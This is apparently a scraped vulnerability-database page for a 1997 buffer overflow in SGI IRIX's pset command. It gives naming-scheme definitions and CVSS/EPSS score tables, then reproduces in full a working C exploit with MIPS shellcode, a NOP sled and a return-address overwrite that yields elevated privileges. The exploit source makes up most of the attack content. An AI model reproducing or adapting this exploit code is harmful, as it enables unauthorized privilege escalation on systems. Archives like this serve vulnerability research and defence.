CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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root privileges via buffer overflow in pset command on SGI IRIX systems.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.06%
–
2023-10-29
–
–
–
0.06%
–
2023-12-03
–
–
–
0.06%
–
2024-02-11
–
–
–
0.05%
–
2024-03-31
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-30
–
–
–
0.05%
–
2024-11-10
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.47%
2025-04-15
–
–
–
–
0.47%
2025-04-15
–
–
–
–
0.47,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 1997-07-16 22h00 +00:00 Author : Last Stage of Delirium EDB Verified : Yes
// source: https://www.securityfocus.com/bid/457/info
The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended.
/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/
/* This one gives you egid=0(sys) */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1
char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
/*
char nop[]="\x24\x0f\x12\x34";
*/
char nop[]="\x01\x20\x48\x25";
void run(unsigned char *buf) {
execl("/sbin/pset","lsd","-s","666",buf,NULL);
printf("execl failed\n");
}
char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
/*
unsigned long get_sp(void) {
__asm__("or $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
printf("Can't malloc\n");
exit(1);
}
*(int *)addr=(*(unsigned long(*)())jump)()+offs;
printf("address=%p\n", *(int *)addr);
strcpy(buf,nop);
ptr=buf+noplen;
buf+=align;
for(i=0;i<bufsize;i++)
*ptr++=nop[i%noplen];
memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
for(i=0;i<ALIGN2;i++)
*ptr++=nop[i%noplen];
for(i=0;i<(addrs<<2);i++)
*ptr++=addr[i%sizeof(int)];
*ptr=0;
printf("buflen=%d\n", strlen(buf));
fflush(stdout);
run(buf);
}